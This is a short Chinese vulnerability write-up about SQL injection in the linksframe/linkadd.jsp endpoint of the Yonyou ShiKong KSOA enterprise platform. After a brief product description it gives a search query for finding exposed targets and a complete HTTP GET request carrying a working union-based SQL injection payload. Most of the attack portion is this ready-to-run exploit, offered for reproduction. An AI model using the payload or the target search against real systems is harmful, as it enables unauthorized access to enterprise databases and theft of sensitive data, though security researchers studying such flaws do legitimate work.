# 用友时空 KSOA linksframe/linkadd.jsp SQL注入

### 漏洞简介JSESSIONID=F2DDC2FA64DACE5E220D588564592DD0.server

友时空KSOA是一款专业的企业应用集成平台，可整合企业各种信息系统和业务系统，帮助企业快速了解业务状态和动态。 通过用友时空KSOA，企业可以通过自定义关键业务指标，实时监控各系统和业务状态，并通过分析工具优化业务管理和决策支持模式。

用友时空KSOAlinksframe/linkadd.jsp接口存在SQL注入漏洞，攻击者可利用漏洞获取数据库敏感信息，甚至获取服务器权限。



### 漏洞复现

步骤一：使用以下搜索语法获取测试资产并确定测试目标

title="企业信息系统门户"

步骤二：poc

GET /linksframe/linkadd.jsp?id=666666%27+union+all+select+null%2Cnull%2Csys.fn\_sqlvarbasetostr%28HashBytes%28%27MD5%27%2C%27123456%27%29%29%2Cnull%2Cnull%2C%27 HTTP/1.1  
Host: your-ip  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)  
Accept: \*/\*  
Connection: Keep-Alive



